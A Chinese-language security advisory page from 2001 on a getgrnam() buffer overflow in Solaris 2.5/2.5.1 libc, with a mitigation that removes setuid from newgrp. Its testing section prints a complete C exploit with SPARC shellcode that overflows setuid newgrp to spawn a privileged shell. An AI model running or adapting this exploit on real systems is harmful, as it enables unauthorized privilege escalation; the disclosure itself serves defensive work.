首页 -> 安全研究

安全研究

安全漏洞
Solaris libc getgrnam()缓冲区溢出漏洞

发布日期:2001-01-06
更新日期:2001-01-06

受影响系统:

Sun Solaris 2.5
Sun Solaris 2.5.1
描述:

Solaris 2.5/2.5.1的getgrnam() libc函数包含一个缓冲区溢出漏洞。

如果某个setuid/setgid程序使用了有问题的库函数,攻击者就可能利用此漏洞
执行任意代码或提升自己的权限。

目前知道至少newgrp是有问题的。

<*来源:Pablo Sor (psor@afip.gov.ar) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


#include <stdio.h>
#include <sys/types.h>


/*
   getgrnam() function overflow.

   works against Solaris 2.5.1 (SPARC)
   default offset should work.

   Pablo Sor, Buenos Aires, Argentina.
   psor@afip.gov.ar

*/

u_char shell[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
   __asm__("mov %sp,%i0 \n");
}

void main()
{

long *p;
long addr;
char buf[8300];
int i;


addr = get_sp()-8096;
printf("Jumping to address %p\n",addr);
p = (long *) buf;
for (i=0;i<2050;++i) *(p++) = 0xa61cc013;
for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i];
p = (long *) &buf[8160];
for (i=0;i<30;++i) *(p++) = addr;
buf[8280]=0;
execl("/usr/bin/newgrp","newgrp",buf,(char *)0);

}



建议:

临时解决方法:

NSFOCUS建议您暂时去掉newgrp以及其他使用getgrnam()函数的程序的setuid属性

厂商补丁:

暂无


浏览次数:3969
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障